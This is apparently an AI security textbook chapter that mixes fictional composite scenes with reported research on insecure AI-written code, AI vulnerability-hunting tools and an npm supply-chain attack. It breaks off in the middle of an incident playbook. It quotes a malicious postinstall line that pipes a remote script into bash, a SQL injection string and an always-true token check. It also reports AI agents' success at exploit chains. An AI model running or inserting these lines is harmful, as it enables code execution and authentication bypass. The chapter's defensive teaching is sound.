πŸ“– AI Security Textbook

Part 2 of this book β€” Code: When software is built by AI, and when AI is used to find vulnerabilities in that same software. Both paths create a new class of vulnerabilities that traditional security tooling cannot detect.

In this chapter we walk through real events from the second half of 2026 β€” from apps that "work today, get hacked tomorrow" to trusted codebases poisoned through GitHub Actions. The numbers that appear below are not laboratory numbers; they come from reports by Cloudflare, Microsoft, Trail of Bits, and research teams working on code that is running in the real world right now.

Note to readers: The numbers and events in this chapter reference research and reporting published through the end of July 2026. The arXiv identifiers shown in the chapter are identifiers used in the original research; readers should verify against the original sources before citing in their own reports.

Statement on scenes and characters: The scenes that follow are composites drawn from multiple real events. Character names and dialogue are fictional, except where text explicitly identifies a person, a quote, or a timeline from public reporting. Real organization names, figures, and attack mechanics come from the chapter's references; the details of who said what in which conference room, and the order in which fictional characters responded, should not be read as a verbatim record of any real individual.


2.1 Vibe Coding and the Price

Scene composed from facts in public reporting; character names, fictional Thai organizations, and dialogue are invented.

Monday morning, 6 July 2026 β€” the fourteenth-floor conference room at the headquarters of a mid-size commercial bank, somewhere in Bangkok.

"Ek, three savings accounts have reported missing funds since midnight. The total is about two million baht."

Ek β€” head of engineering for the mid-size bank that had launched its new service six months earlier β€” sat still for two seconds before answering. "The new system, the one where we used AI to write it?"

"Yes, the authentication endpoint. Your team used Claude to write it three weeks ago because the old one was slow. They said all the tests passed."

Ek opened the file in the Git repository. The code looked "right" line by line. The test suite was green across the board. But one line held his attention for five full minutes β€” if (token) { return true; }. A function the AI had written for development testing, but which had been merged into production without anyone noticing, because "tests passed" and "the reviewer had thirty more PRs waiting in the queue."

This is the real risk of vibe coding that this composite scene is trying to surface β€” a term made famous in February 2025 by Andrej Karpathy, formerly head of AI at Tesla, in a tweet describing his own new way of writing code: not reading diffs, not debugging himself, just talking to the AI and running whatever it produced. The word "vibe" means the feeling of what you want, not the technical understanding of what each line of code does. Within eighteen months the practice had become the new norm. Millions of users worldwide β€” from high-school students to small business owners β€” built applications by describing the "vibe" of what they wanted to an AI agent.

But the bill was starting to come due. Ek's story is not the only one. In the second half of 2026, several research groups published work that made the picture clear. Starting with Deng, Fan and Meng, published 24 June 2026: a team from a leading Chinese institute collected real applications built with popular AI agents by real users β€” not lab samples, not short assignments, but codebases that ordinary users, many of whom had never written code before, had built because they wanted a website, a task-management app, or a queue-booking system. After letting the AI agent audit the code and having experts verify the findings, they discovered that these apps were riddled with vulnerabilities in patterns that were so repeatable you could pick them out by eye.

The findings came in three layers, and each one deserves a question.

Layer one β€” recurring vulnerability patterns that are different from anything seen in normal development work. The paper calls this placeholder logic β€” code that "looks like it works" but uses an unsafe default. An app whose AI helped build a login system, for instance, might generate a checkPassword() function that simply returns true when it is finished, because "it's ready to ship," before it gets wired to the real database. The problem is that when the user sees the screen working, they do not know the logic behind it is just a placeholder. The second pattern is unfiltered input β€” data the user types in is not sanitized before being used, because the AI's tests typically use clean inputs and never try edge cases like ' OR 1=1 -- that would make SQL injection succeed. The third is secret exposure β€” the AI embeds API keys into config files, or hard-codes secrets into source code, because it learned from examples in a world where developers often do exactly that.

Layer two β€” root causes, which are not solely the model's fault, but systemic limitations embedded in AI agents throughout the entire coding lifecycle. The first is memory loss β€” as the conversation grows longer, the AI forgets requirements that were mentioned at the start. It might create a new endpoint without an authorization guard because it does not "remember" the earlier discussion of role-based access. The second is locally optimized objectives β€” the AI tries to make tests pass, not to make the system secure. If it can write a function that makes the tests pass by skipping a security check, it will. The third is insufficient security knowledge β€” it does not know that a particular pattern is a vulnerability, because it was not trained on full enough context.

Layer three β€” the report's conclusion, and the most important one: even as models get smarter and prompts get better, these underlying risks do not disappear. They are structural limitations, not problems you solve by upgrading to a more capable model.

The numbers that followed in the same month reinforced this point. SecureVibeBench is a benchmark designed to test AI code agents against "scenarios where humans previously created vulnerabilities." The research team pulled 105 commits from OSS-Fuzz (Google's program for fuzz-testing open-source software) across 41 C/C++ projects, reconstructed the scenarios, and asked five agents powered by five different LLMs (including Claude Sonnet 4.5) to fix them. The result: the best agent produced code that was both correct and secure only 23.8% of the time. That means that even with the best AI on the market, 76% of the security fixes it returns will have some problem β€” either a failing test or a vulnerability that lingers. And because these are multi-file edits in large repositories, mistakes spread far and wide, not just to one spot.

Contextual note: The SecureVibeBench work appeared in late 2025 (before the period this chapter covers) and is an important foundation for the work that followed in 2026. In this chapter we treat SecureVibeBench as background framing β€” the starting point of a problem space that other teams built on during 2026. The 23.8% figure is a snapshot of frontier models at that time; it should not be cited as the "current capability" of AI for security work.

The real-world impact that followed is not just numbers on a page β€” Ek's scene stands in for many teams that did not get named in the report. Numerous developers using AI coding tools came forward in forums to say they had found placeholder logic in code they had not written themselves: every time the tests passed, but the moment they deployed for real, things broke. Some caught it in time and fixed it. Some caught it only after customers started asking about data that had gone missing. Some never caught it at all.

The difference from traditional "AI-assisted programming" is the scope of what gets delegated. In the old mode, developers still owned implementation and code review. In vibe coding, the developer hands "most" of the development over to the AI. The result is that the gap between "the code works" and "the code is secure" widens steadily.

The horror of vibe coding is not just that 23.8% sounds like "good odds" for the AI. When you look at the broader picture, the fact that only one in four of the AI's security fixes succeeds is alarming β€” because in security work, a 1% failure rate can still cause enormous damage. But the real problem is the scope of the benchmark. SecureVibeBench tests against vulnerabilities that humans have already created, in projects with clean context. If the AI only manages 23.8% in the best possible conditions, in real-world conditions where the requirements are muddier and the codebase is more complex, the number will be far worse.

From the organization's perspective, vibe coding is not a problem because "AI is bad." It is a problem because "the process is out of date." Development teams that used to review every PR before merging suddenly find that when the AI is writing code, feature ship velocity jumps by five to ten times β€” but the PR review queue grows by the same factor. The difficulty of reviewing code that "looks right" but may contain hidden placeholder logic is what teams now have to deal with. Many teams choose to "trust but verify" β€” letting the AI write, but reviewing more carefully than before. That means the speed gained from AI gets eaten by the increased review effort. The net result: in the best case, the same speed as before; in the worst case, vulnerabilities sneak into the system unnoticed.

Lesson: If your team uses an AI agent to write code without any structural review step, you are accumulating vulnerabilities that standard tests or SAST will not catch. Before every merge, ask yourself: does every endpoint have an authorization guard tested with negative cases? Are there any secrets hard-coded in files? And most importantly β€” does this code pass its tests because the logic is correct, or because the AI wrote tests that match its own implementation?

For a 50-person team β€” what you can do on Monday morning: add an AI-Generated-Code Review Checklist specifically for merges. In the composite scene, Ek's mid-size fintech team turned the two-million-baht incident into a rule: every PR with AI assistance has to be tagged "AI-assisted" in GitHub, and has to be reviewed by someone with security knowledge, not a generic reviewer. At minimum, five items every team should start using this week: (1) every authentication path has negative tests for "no token," "expired token," and "wrong audience"; (2) every authorization guard checks role, not just authentication; (3) every secret is read from an environment variable sourced from a secret manager (such as AWS Secrets Manager or HashiCorp Vault), not from a .env file in git; (4) every dependency the AI adds must have its provenance checked with npm audit or pip-audit before merge; (5) every boolean-returning function (like isValid() or checkAuth()) must have a unit test that confirms "false" is reachable β€” because that is where placeholder logic likes to hide.

Beyond the checklist, Ek's team also adjusted its governance policies in three additional areas, and they recommend other teams do the same. The first is restricting AI assistants from writing authentication code from the start. Ek's team set a rule that the AI can help write authentication endpoints, but a "second author" β€” a human β€” must write the unit tests for negative cases separately, because the AI tends to write tests that match its own implementation. The second is tracking every boolean-returning function that the AI creates. In the team's app, there was an isAuthorized() function that returned true every time in its first week, because "it was ready to ship." Tracking this category of function makes it easy to spot places that need extra scrutiny. The third is running incident simulations on a regular basis β€” Ek's team runs a tabletop exercise every month, simulating "what if our AI agent gets compromised" and checking whether their playbook holds up.

At a broader level, the problem with vibe coding does not end at "the AI writes bad code." It challenges the very basis of trust between development teams and security teams who have worked together for years. In the past, a developer could explain every line of their PR. Today, many developers cannot read the code the AI wrote for them β€” and the security team has to absorb that "unknown" into its risk-assessment process. The best approach right now is to make the developer's "unknown" visible β€” add a // AI-generated: needs review comment to every function the AI writes, and track the metric of what percentage of PRs are reviewed line-by-line by the reviewer, versus PRs that are approved on the basis of "it looks right." That number tells the team how real its "trust but verify" actually is.

Another angle that does not get talked about enough is the productivity premium AI gives to junior developers. Before AI, writing a secure backend service required five to ten years of experience. Today, a junior developer can build a service that looks good in a week. But "looks good" does not mean "secure." The result is that we have many codebases inside systems that were written by people who do not yet understand how the security model works. Organizations need to invest in AI literacy for the team β€” not just training on how to use AI, but training on how to read and evaluate the code the AI writes. Several organizations have started with "AI Code Review" workshops that look not just at syntax but at intent β€” what is this code trying to do, does it do it completely, what are the security implications.


2.2 The Patchwork Problem: Why AI Code Passes Tests but Breaks in Production

Scene composed from facts in public reporting; character names, fictional Thai organizations, and dialogue are invented.

Tuesday morning, 7 July 2026 β€” the war room of a mid-size e-commerce company in the Rama 9 district of Bangkok.

"Last night the CI was all green, but this morning customers are saying they can see other people's shopping carts."

Wit β€” a senior engineer at the company that runs an online marketplace β€” looked at the logs and saw that the new PR the AI agent had written on Friday night added a GET /api/cart/:id endpoint into the same file as the existing requireAuth middleware β€” but the AI forgot to actually call that middleware. Same file, every other endpoint authenticated, only this new endpoint didn't β€” because the AI did not read the middleware as "context" that needed to apply to every route. It just read "add an endpoint that fetches the cart" and wrote that.

"Why didn't SAST catch it?" the team lead asked.

"Because SAST can't see that this endpoint should have auth. It only sees that the endpoint has a parameter and a return value," Wit replied. "It's syntactically right, but structurally wrong."

This is an example of what the "Patchwork Problem" research paper named in early July 2026 β€” structural coherence failures caused by LLM-generated code. These are not new bugs; they are problems that everyone has seen but nobody has talked about systematically.

The problem is fundamentally different from traditional vulnerabilities. Traditional vulnerabilities are usually "wrong logic" β€” code that does something it shouldn't, like a buffer overflow because of a missing bound check, or a SQL injection because of naive string concatenation. But the Patchwork Problem is "wrong structure" β€” code that does what it should, but references things that don't exist, or ignores things that its neighbors in the project do. Imagine a building where every room has a door β€” except for one room that the AI built new and forgot to put a door on, because the AI did not know the other rooms had doors. The point is that the room itself is correct, and the door itself is correct β€” but the position of the missing door is the structural problem.

What makes the Patchwork Problem different from ordinary bugs is that "each piece is locally valid, but the whole system is incoherent." In each file, each function, things look right β€” but when you look at the project as a whole you can see it conflicts with established norms β€” whether that is missing config, missing imports, missing guards, mismatched schemas, undeclared resources, broken control flow, or routing that skips the authentication layer.

The research team tackled this by converting codebases into graph representations β€” eight kinds of graphs that cover every dimension of structure. Before you read further, take a moment to learn what these eight graphs are, because we will refer back to them throughout the chapter:

When there is a place that "doesn't line up" β€” for example, an endpoint that references a config key that does not exist β€” the graph will show a node hanging out by itself (a dangling node), which makes the failure detectable formally, not heuristically.

They then built a failure taxonomy of eight categories to distinguish between problems that are "unique to LLM generation" and problems that are "merely amplified by the LLM." This matters because it helps developers understand where to fix things. If a problem is one that the LLM is just amplifying, it might be fixable with a better prompt or a better model. But if it is unique to LLMs, it has to be fixed at the architecture level.

The experimental results were alarming β€” when tested with two frontier models under four prompting strategies, they found that the majority of structural failures slip past type checking, testing, and SAST entirely. That means the tools your AppSec team uses every day β€” type checkers, unit test frameworks, static application security testing β€” cannot see the Patchwork Problem. It is a blind spot that traditional CI pipelines cannot catch.

Worse, the shape of failure differs "qualitatively" between models β€” meaning it is not just that the number of failures differs, but the kind of bug differs too. This destroys the assumption that there is a "universal mitigation strategy" that works for every model.

To confirm that the problem was not just a lab artifact, the team took their method and tested it against AI-generated repositories in the real world β€” the results confirmed that "these structural failures are not an artifact of the experiment; they show up everywhere that LLMs write code with low human oversight."

In practical terms, the impact of the Patchwork Problem is that traditional AppSec teams are being made "blind" without realizing it. You might have 90% test coverage and a SAST scan running every night, but if your new endpoint references a config key that does not exist, SAST will not tell you. If your new route has no auth guard, the test suite will not fail because it never tried a negative case. You will only find out about the problem when somebody exploits it.

Cloudflare ran into a similar problem when they tried letting an AI coding assistant fix bugs in their own code. The result was that some patches fixed the original bug, but "broke things that other parts of the code depended on." In their blog post "Defending Against Frontier Cyber Models," the Cloudflare team concluded that for AI in its toddler stage, "we cannot rely on AI to fix bugs that it itself created right now" β€” a warning from a team that uses AI as its primary tool for scanning its own codebase for vulnerabilities.

The eight categories of the Patchwork Problem β€” a story from a single codebase.

To make it more concrete how the Patchwork Problem plays out in real work, follow a single application β€” let's call it QuickMart API, the backend of a small online store that uses an AI agent to help add new features almost every week β€” and watch how each failure category shows up in that one codebase.

Category 1 β€” Dangling reference. Code references an entity that does not exist. In QuickMart there was a line the AI had written two months earlier: const secret = process.env.JWT_SECRET, but the config file only declared process.env.SESSION_SECRET. The result was that JWT verification used undefined as the key, which made the signature check pass for every token β€” including forged tokens issued by attackers. This category is the most dangerous because it "passes" everything: unit tests, integration tests, and SAST will not tell you there is a problem.

Category 2 β€” Phantom import. An import statement points to a package that is not in the registry, or that exists but is a typo. For example, import requests from 'requetss' will cause the build to fail immediately. Worse, importing a package that does exist but is a typosquat of another one means an unintended dependency gets installed. In QuickMart, a junior developer wrote import lodass from 'lodass' instead of lodash β€” and the lodass package actually exists on npm, uploaded by a malicious actor. The build passes. Everything works β€” until the day the lodass payload fires.

Category 3 β€” Missing guard. A new endpoint without the authentication or authorization guard that other endpoints have. This is Wit's story from the start. QuickMart has a requireAuth middleware that applies to every /api/* route, but the AI built /api/cart/:id without applying that middleware. The route is reachable without logging in. A customer that morning felt like "they could see other people's carts" because they just kept changing the :id value in the URL.

Category 4 β€” Schema mismatch. Code expects an object schema that doesn't match what is actually produced. For example, the AI expects user.email to exist, but the database schema only has user.mail_address. The result is a runtime error or an undefined value that can be injected into sensitive logic. In QuickMart there was a function that sent order-confirmation emails and referenced user.email. As a result, 30% of customers didn't receive their emails β€” but worse, when the AI wrote a fallback for undefined, it passed an empty value into the template and in some cases exposed another customer's email in the "order status" page.

Category 5 β€” Untracked resource. Code creates a new resource (like a database table, an S3 bucket, or a file) but does not register it in infrastructure-as-code. The resource lives outside monitoring and backup. QuickMart had an S3 bucket for product images that the AI created the week before β€” the bucket was not in Terraform, so your security team did not know it existed. When AWS rotated credentials for un-managed buckets, thousands of old product images were lost with no backup.

Category 6 β€” Orphaned control flow. A branch of logic that can never be triggered or is cut off from the rest. For example, an error handler that catches but does nothing, or a fallback that is always bypassed. In QuickMart there was an error handler for the payment gateway that "was written just in case," but every call site never actually throws an error β€” because the AI wrote a payment client that swallowed errors before they reached the handler. The result is that when payments fail, customers see "order successful" but the money never gets deducted.

Category 7 β€” Routing divergence. A path in the router that does not match the controller that gets called. For example, GET /users/:id maps to the handler getAllUsers() instead of getUserById(). QuickMart had a period in which a customer typed /api/order/123 and got back another customer's full order data β€” because the AI wrote a new route and bound it to a handler with a similar but wrong name.

Category 8 β€” Invocation pattern mismatch. A function is called with arguments that don't match its signature or expected behavior. The result is unintended side effects. QuickMart had a notifyCustomer(orderId, channel) function that expected channel to be an enum β€” but the AI called it with channel = 'slack', which is not in the enum. The default fallback sends the notification to an internal Slack channel instead of to the customer β€” and a VIP customer saw the backend system's message in the internal group.

The research team emphasizes that each of these categories "slips past type checkers, unit tests, and SAST" in their experiments. That means the tools we have relied on all along cannot catch them. We need new methods that work at the structural level, not the syntactic level.

One important point that often gets overlooked is that each category of failure does not exist in isolation. In a real codebase, bugs often come together. For example, the QuickMart we just walked through might have both a schema mismatch (reading user.email but the database has user.mail_address) and a missing guard (the route /api/admin/export has no auth) in the same file. Or a routing divergence (the route maps to the wrong handler) alongside an invocation pattern mismatch (the handler accepts the wrong argument type). When bugs stack on top of each other, the impact compounds β€” each layer of problem amplifies the others, so fixing them one at a time doesn't work. You need structural review that looks at everything together, not the line-by-line review most teams do today.

Another point that connects back to Β§2.1 β€” the Patchwork Problem is a direct consequence of vibe coding. In the past, developers had to read other people's code in the team to understand the conventions of the file. Today, the AI only reads the file it is editing; it does not read the "neighboring files" to understand context. The result is that code the AI writes may look right on its own, but wrong in the context of the codebase. This is a structural failure that the AI cannot fix on its own β€” it needs "project context" passed to the AI every time you ask it to write code. For example, before asking the AI to write a new endpoint, you have to send it a "list of existing middleware in this directory" so the AI knows which middleware to apply.

Lesson: Relying on traditional CI/SAST is no longer enough for AI-generated code. Teams should add graph-based invariant verification as a mandatory step in the pipeline. That means converting the codebase into graphs and verifying that every reference has a real target, every endpoint has the necessary guards, every config has safe defaults, and every import points to a package that actually exists in the registry. This is structural checking, not logical checking β€” and that is what traditional tools cannot do.

For your security team β€” what you can do this week: add graph-based verification to your CI pipeline. Don't wait for off-the-shelf tools. Start with the minimum viable version you can ship in two or three days: (1) use dependency-cruiser for JavaScript/TypeScript or pydeps for Python to build an import graph and fail the build if any import doesn't resolve; (2) write a simple GitHub Action that scans all config files and compares them against usages in source code β€” if code references a key that's not in config, fail the build; (3) for each route in Express/FastAPI, check that there is middleware or a dependency whose name resembles the other routes in the same file β€” if it looks "off," flag it for the reviewer; (4) finally, audit AI-generated PRs from the past 30 days for dangling references, missing guards, and typosquat dependencies β€” almost every team that does this finds at least one.

Another important angle for teams in regulated industries is preparing for the CRA standard that arrives in September 2026 β€” many software exporters will need graph-based verification anyway, because the CRA only counts "actionable" SBOMs, and SBOMs with high no-edge rates don't count. So investing in graph tools now is not "nice to have" β€” it is "must-have" for any company that wants to sell software in the EU after September. Teams that start earlier have two advantages: (1) they are ahead of the law that is coming, and (2) they are ahead of the Patchwork Problem risk that AI agents in their team are adding every week.

Beyond the tools, teams should also think about the human review overlay β€” because tools can only catch dangling references and missing guards when they are obvious, but cases where the AI writes a function that looks correct but interprets the business logic wrong still need a human. The QuickMart example we walked through at the start β€” the notifyCustomer(orderId, channel) function that takes 'slack' instead of an enum β€” is an example that the tool cannot catch. Only a human can. So a good review checklist for AI-generated PRs needs both automated checks and human judgment. Not one or the other.

The last point we want to leave you with is the connection between the Patchwork Problem and hallucination. The core problem with AI agents is not just that they "write wrong code," but that they "write things that don't exist" β€” config keys that are never declared, imports that aren't in the registry, schemas that don't match the database. All of this is hallucination on the structural-code side, not the answer-text side. It is hallucination about "things that should exist in the world." The hallucination-detection tools for LLMs that we use today (such as fact-check or retrieval augmented) don't help in this case, because they aren't checking "facts" but "structure" β€” which requires fundamentally different methods. That is why graph-based verification is a necessity, not an option.


2.3 When AI Finds Vulnerabilities Faster Than Humans

Scene composed from facts in public reporting; character names, fictional Thai organizations, and dialogue are invented.

Thursday night, 18 June 2026 β€” the SOC center of an insurance company somewhere in Bangkok.

"What is this?" Phi Mor Yoi β€” head of SOC analysts, staring at her dashboard at 2 a.m. β€” pointed at a brand-new alert that had just popped up. The alert came from a tool the team had deployed the week before, called Project Glasswing from Cloudflare. It's an AI security tool that scans the company's internal codebase for vulnerabilities that "people have previously missed."

The alert said: "Found a SQL injection in /api/policy/lookup β€” a vulnerability that was flagged by SAST three years ago but closed as a false positive."

Phi Mor Yoi looked at the code herself. Twenty minutes later, she had verified the result matched what the AI reported. The vulnerability was real. SAST had been wrong three years ago. And for the entire three years since then, the company's policy lookup system had been open to outsiders firing SQL queries at it. The real impact β€” during those three years, policy data on tens of thousands of customers had been exposed.

"If we hadn't deployed this tool, would we have known?" Phi Mor Yoi asked the team.

"No," everyone answered.

This is the second half of the chapter β€” if the first half talked about AI that creates vulnerabilities, the second half talks about AI that finds them. And what's interesting is that the AI does both faster than humans, by a lot β€” which creates both opportunities and risks at the same time.

This came into sharper focus when Cloudflare published results from Project Glasswing in mid-June 2026. They pointed a frontier security model called Mythos at their own enterprise codebase β€” a codebase that had been audited for years. The result was that the AI found a large number of vulnerabilities that had previously been missed. Importantly, it wasn't just "finding" them; it was able to "build exploit chains" and "create proof-of-concept" code that actually worked, in less time than a human researcher would need.

After the experiment, Cloudflare summed up a key principle: "the architecture around the vulnerability matters more than the speed of the patch." When AI compresses the time from "discovered" to "exploitable" drastically, relying on timely patching alone is not enough. You need defense-in-depth that forces attackers to face multiple barriers, not just one barrier that depends on the patch.

OpenAnt, which launched in the same month, took an interesting approach. Instead of having the LLM analyze the whole codebase β€” which would burn context window and budget β€” the system decomposes the codebase into small pieces by reachability from external entry points. That is, it starts at "the points an attacker can reach from outside" and then traces into the call graph. This reduces the analysis surface by up to 97% while preserving all attack-relevant code. The second step is adversarial verification β€” having a second LLM instance act as an "attacker" against the findings proposed by the first LLM, by simulating an attacker with bounded capabilities. If the attack fails, the finding is discarded. The third step is dynamic verification β€” building an exploit environment in a sandbox container, running the real triggering input, and discarding the container immediately. As a result, OpenAnt found previously unreported vulnerabilities in OpenSSL, WordPress, and Flowise, while the false-positive rate dropped dramatically compared to traditional SAST.

Contextual note: The "reduces the analysis surface by up to 97%" figure for OpenAnt is the figure the research team reported from experiments on a defined set of projects in the range of hundreds of thousands to millions of lines of code (LOC). The 97% is a reduction ratio of the reachable code the LLM has to read, not a reduction of the whole codebase. Readers should not interpret this as "OpenAnt scans a million-line project as fast as it scans 30,000 lines" β€” it means selecting the 30,000 lines "relevant to the attack" from the reachable surface only.

Revelio takes a similar but differently focused approach. It targets memory safety vulnerabilities specifically β€” the hardest bugs to find because they tend to hide in code that has been fuzzed for years. What Revelio does is generate a Proof-of-Vulnerability (PoV) β€” code that can actually exploit the vulnerability β€” and then let a deterministic sanitizer verify it. If the PoV triggers the sanitizer successfully, it is reported as a vulnerability. This method almost entirely eliminates the LLM's hallucination problem, because the LLM doesn't just "think" there is a vulnerability β€” it has to "prove" there is one. The result: in about an hour per project, and at a total cost of $300, Revelio found 19 previously unreported vulnerabilities across seven projects that had been fuzzed for 5 to 8 years, including against the CyberGym benchmark with its 100 Arvo projects.

Symbolon tackles a different angle β€” it uses AI agents to improve symbolic execution, the classic program-analysis technique that is powerful but suffers from "path explosion" β€” when the code gets complex, the number of paths to analyze grows exponentially until analysis becomes impossible. The traditional fix is to transform the code into a form that reduces paths, but those transformations are too rigid. Symbolon treats finding the right transformation as a search problem β€” letting the agent search for and learn a variety of transformations on small programs offline, then distilling them into a library of agent skills that can be applied to large codebases. The result is that KLEE (a symbolic execution engine) performs significantly better β€” line coverage goes up 3.69Γ—, peak memory drops 29.2Γ—, and solver time per query drops 123Γ—. And importantly, it found 21 new bugs in the Linux kernel, all of which have been reported to the maintainers.

Contextual note: The "19 bugs" figure for Revelio and "21 bugs" for Symbolon come from different projects and different systems. Revelio focuses on memory safety in C/C++ projects fuzzed for 5 to 8 years; Symbolon focuses on bugs in the Linux kernel via symbolic execution. The two are independent systems developed by different research groups. The different numbers reflect the different "scope of discovery" for each system, not the same system measured twice.

Wiz Atlas takes the approach one step further. It is a multi-agent system that operates as a full research team β€” one agent maps the attack surface using a code property graph instead of reading files sequentially. Then it hunts in parallel, with each agent developing and testing its own hypothesis. Adversarial validation forces the judge to find reasons to overrule the findings the other side proposes. And the final step is to build an execution environment to run the real triggering input. The result: Atlas ranks first on CyberGym with a 90.9% success rate, and has found over 200 previously unreported vulnerabilities in projects that have been audited for decades, including grpc, dnsmasq, Kubernetes, gVisor, the Linux kernel, and containerd.

What is interesting to note is that Wiz Atlas is not just a tool β€” it is a multi-agent workflow that mimics the work of a real security research team. One agent acts as a "hypothesis generator," another as a "skeptic" whose job is to find out why the hypothesis is wrong. This division of labor is not just more effective, but also reduces false positives, which have been a big problem for early AI security tools. In a sense, Atlas is the "structural" equivalent of a research team β€” each person replaced by an agent that can do the repetitive work without getting tired. This is a clear example of "harness > model" that Cloudflare talks about β€” Atlas's success does not come from "the smartest model" but from designing a workflow that makes adversarial argument between hypotheses possible.

But the most important thing in this period is not just that AI finds vulnerabilities faster, but that AI can do end-to-end attack chains. From AgentCyberRange, a benchmark that simulates a multi-host cyber range, GPT-5.5 and Codex completed web exploitation tasks 16.1% of the time and post-exploitation tasks 31.7% of the time. With clearer hints, the numbers rose to 33.0% and 46.3% respectively. This is the turning point β€” AI is no longer just "exploiting" a single point, it can "travel" across hosts, starting from a single foothold and expanding into internal compromise following the full chain of lateral movement.

Cloudflare sums this up clearly in their blog post: AI does not change the "shape" of attacks β€” reconnaissance, initial access, lateral movement, persistence, and exfiltration are still the same steps β€” but it changes the "speed" and the "scale." Work that used to take weeks now takes minutes. Work that used to be done carefully is now indiscriminate. And the scariest thing is that "an attacker only needs one opening to get in" β€” while the security team has to close every single one.

An additional observation is that AI raises the "capability" of the attacker but lowers the "level of difficulty" of the attack. In the past, building an exploit chain required a researcher who deeply understood the OS, the network, and the application. Today, an AI with comprehensive training data can "learn" and replicate in a few hours. The result is that the "skill barrier" to being an attacker keeps dropping. People with basic programming knowledge can use AI tools to build complex exploits. So the number of capable attackers will grow, not just the quality of attackers β€” and that is a harder problem than "AI getting smarter," because it means "more people becoming attackers."

One more angle worth adding is that AI breaks the trade-off between "speed" and "precision" in security work. In manual attacks, you have to choose between "fast" and "thorough" β€” if you're fast you might miss important things; if you're thorough you might be too slow and get caught. AI breaks that constraint β€” it can be fast and thorough at the same time. The result is that defenders who are slower than AI by even a small margin will be at a serious disadvantage. That is why the "MTTD < 4 hours" we mention in Β§2.4 is so important β€” if a defender takes 24 hours to detect an attack that the AI builds in 5 minutes, customer data will have been exfiltrated hundreds of times.

From a strategic perspective, Tchauvin offers a very important frame of thought: vulnerability discovery has been in a sparse sampling regime all along β€” both attackers and defenders explore only a small fraction of the attack surface. The result is that "each side finds different holes," which means attackers always have a zero-day arsenal. AI changes this equation because it can explore much wider and easier than fuzzing (setting up fuzzing takes a lot of labor and the coverage of OSS-Fuzz is low in many projects). The result is that we are entering a dense sampling regime, which will eventually leave attackers without a zero-day arsenal β€” because defenders will find all the vulnerabilities first.

But the transition period β€” 2026 to 2027 β€” is going to be a bumpy ride. The reason is that latent vulnerabilities in software that has already shipped will be exposed as both sides' AIs start scanning, but the patching process is still slow. Users who patch slowly will be victims, especially in IoT systems and infrastructure that is hard to update. That is why Cloudflare emphasizes "the architecture around the vulnerability matters more than the speed of the patch" β€” in this bumpy transition period, having multiple independent defense layers that do not depend on timely patching is a more sustainable strategy.

In terms of the open-source ecosystem, the real problem is not just that "AI finds vulnerabilities faster" but that "AI finds vulnerabilities before patches are ready." Cloudflare points out clearly that Glasswing found many vulnerabilities in code that "had already shipped," not new code. These vulnerabilities had been in production for a long time; nobody had just seriously explored them. This creates a "latent vulnerability pool" β€” a stash of vulnerabilities waiting to be discovered. When AI starts scanning everything at once, this stash will be opened, and the patch cycle that takes weeks will become a serious problem β€” because in that window, attackers with the same AI will see the same vulnerabilities.

Lesson: Security teams should not wait until AI finishes changing the game before adapting. In the 2026-2027 period, attackers will have AI tools that find and exploit much faster, while defenders still have to rely on slow patch cycles. A sustainable strategy is to (1) prepare defense-in-depth so attackers have to face multiple barriers, (2) accelerate patch management for externally reachable systems, (3) use AI vulnerability discovery tools to "find it before it bites you," and (4) accept that during these two years, the risk will be higher than usual, and prepare response plans.

For your SOC team β€” what you can do on Monday morning: start by scanning your own codebase with an AI tool that has deterministic verification (such as PoV or sanitizer) β€” not a tool that just says "the LLM thinks it is a vulnerability." Phi Mor Yoi and her team, who just discovered a SQL injection that SAST called a false positive three years ago, are a perfect example of what will happen to every organization. The three steps we recommend starting this week are: (1) pick one AI vulnerability scanner that has PoV/sanitizer as output; (2) scan the codebase in the internet-facing zone first β€” don't scan everything at once; (3) for every finding, have the team verify manually for at least 30 minutes before assigning a ticket β€” because if SAST was wrong three years ago, it is possible today's AI tool will be wrong in some cases too.

Another angle we want to leave your SOC team to think about: AI finding vulnerabilities fast does not mean "find it immediately, close it immediately." Most of the vulnerabilities AI found in Glasswing were in legacy code with no test coverage, or in services with no clear owner. Fixing them takes time β€” including negotiating with the team that owns the service. So SOCs need to prepare a triage workflow specifically for "AI-generated findings," not the same workflow you use for SAST findings, which may have different false-positive rates. A useful principle is "trust but verify fast" β€” let the AI do initial triage (categorize the vulnerability, identify the affected component, suggest a patch) and then have a human confirm within 15 minutes, not 2 hours. AI tools are designed to work fast; if the human review is slow, half the benefit of the AI is lost.

One more thought for teams still hesitating whether to adopt an AI vulnerability scanner: think about it this way β€” if you don't adopt, you will be at a disadvantage against attackers who already have. The numbers from Cloudflare and AgentCyberRange clearly show that attackers have AI that scans tens of times faster than humans. If defenders stick with traditional fuzzing, they will find vulnerabilities two to three months later than attackers β€” which is more than enough time to compromise systems several times over. So adoption is not a choice; it is a "survival imperative" for security teams that want to survive the bumpy transition of 2026-2027.


2.4 SBOM and Supply Chain: When the Component List Becomes a Lie

Scene composed from the Mastra and AsyncAPI incidents; characters, dialogue, and the specific response timeline are invented. The packages, IOCs, and attack mechanics should be read as in the chapter's references.

Tuesday night, 17 June 2026 β€” around 22:30 UTC β€” Bangkok, just as most people are heading to bed.

Jay β€” a DevOps engineer at a SaaS startup that uses Mastra as its core framework β€” got a Slack alert from Snyk: "Critical CVE detected in @mastra/core@0.10.4 β€” newly published version."

Jay was surprised, because Mastra updates often, but this was a major version jump. He opened GitHub to check β€” @mastra/core version 0.10.4 had been published just three hours ago. New SHA. No commit message explaining it. But the strangest part was that version 0.10.4 was not in Mastra's official release notes.

Jay decided to investigate β€” he ran npm view @mastra/core versions --json | grep 0.10.4 and compared the tarball to the previous version. The moment he diffed the files, he saw a postinstall script that had never been there before β€” curl http://85.137.53[.]71:8080/init | bash.

"Oh god," Jay said to himself. "It's real."

He dug further and found that the maintainer account ehindero had been hijacked. Microsoft Threat Intelligence reported at 23:00 UTC that the npm supply chain had been hit in a major attack, affecting more than 140 packages in the mastra and @mastra scope. The attack started with the maintainer account being hijacked, then the attackers published "clean" versions first to build credibility, followed quickly by "weaponized" versions β€” a pattern known as "staged delivery."

Note: The maintainer name ehindero that appears in the original report is a name used for technical reference; "Jay," along with his dialogue and work sequence, is a composite character β€” not a real person or a verbatim incident record.

Mastra recovery playbook β€” detailed with timestamps.

Here is the playbook the composite scene gives Jay on the night of 17 June 2026, synthesized from incident-response guidance and the mistakes in similar past events. It should be stored somewhere every team member can reach in the middle of the night, not buried in Confluence behind a login wall.

T+0 (first Snyk alert): verify that the alert is real. Run npm view @mastra/core versions --json | tail -20 and check whether there is a new version that is not in the release notes. If so, treat it as compromised immediately β€” don't wait for full verification.

